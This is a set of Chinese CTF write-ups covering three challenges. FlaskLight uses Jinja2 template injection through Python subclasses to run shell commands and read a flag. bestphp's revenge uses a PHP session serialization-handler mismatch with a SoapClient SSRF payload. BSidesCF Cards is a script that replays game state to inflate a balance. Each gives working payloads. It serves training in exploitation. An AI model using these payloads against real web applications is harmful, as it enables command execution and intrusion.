[CSCCTF 2019 Qual]FlaskLight
题目名称直接告诉你flask了。直接测试了
{{config}}可以返回一些有用信息
{{''.__class__.__mro__[2].__subclasses__()}}
查询出了所有可以使用的类
https://zhuanlan.zhihu.com/p/93746437
遍历可以利用的类,发现有一个subprocess.Popen 可以执行系统命令,
?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}} ?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}} ?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}
读到flag
bestphp's revenge
一分题,挺难的其实,考了很多知识点,不知道怎么就成1分题目了,大家都太厉害了!
给了源码
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
发现有call_user_func方法,接受f与post的数据,
还发现了用name作为session,之后var_dump了session
想到session反序列化
ession.serialize_handler存在以下几种
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值 php 键名+竖线(|)+经过serialize()函数处理过的值 php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。
php_binary引擎格式
<0x04>names:7:"ha1c9on";
php_searialize引擎格式
a:1:{s:4:"name";s:7:"ha1c9on";}
当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。 例如传入$_SESSION['name']='|O:7:"ha1c9on":1:{s:4:"test";s:4:"test";}';
序列化引擎使用的是php_serialize,那么储存的session文件为
a:1:{s:4:"name";s:5:"|O:7:"ha1c9on":1:{s:4:"test";s:4:"test";}";}
而反序列化引擎如果使用的是php,就会把|
作为作为key和value的分隔符。把a:1:{s:4:"name";s:5:"
当作键名,而把O:7:"ha1c9on":1:{s:4:"test";s:4:"test";}
当作经过serialize()函数处理过的值,最后会把它进行unserialize处理,此时就构成了一次反序列化注入攻击。
用soap类反序列化
<?php $url = "http://127.0.0.1/flag.php"; $b = new SoapClient(null, array('uri' => $url, 'location' => $url)); $a = serialize($b); $a = str_replace('^^', "\r\n", $a); echo "|" . urlencode($a); ?>
payload:|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
覆盖序列化引擎并将构造的Soap类序列化字符串写入session文件。
get f=session_start&name=payload post:serialize_handle=php_serialize
然后触发反序列化
get f=extract&name=SoapClient
post b=call_user_func
拿到sessionid后替换即可拿到flag
[BSidesCF 2020]Cards
import requests
start = "http://328d7438-452a-4f70-91da-149c1fee1745.node3.buuoj.cn/api"
deal = start + "/deal"
state = requests.post(start, proxies=proxy).json()["SecretState"]
while True:
try:
resp = requests.post(deal, json={"Bet": 500, "SecretState": state}).json()
except:
continue
if resp['GameState'] == 'Blackjack':
state = resp['SecretState']
print(resp['Balance'])
if resp['Balance'] > 100000:
print(resp)
break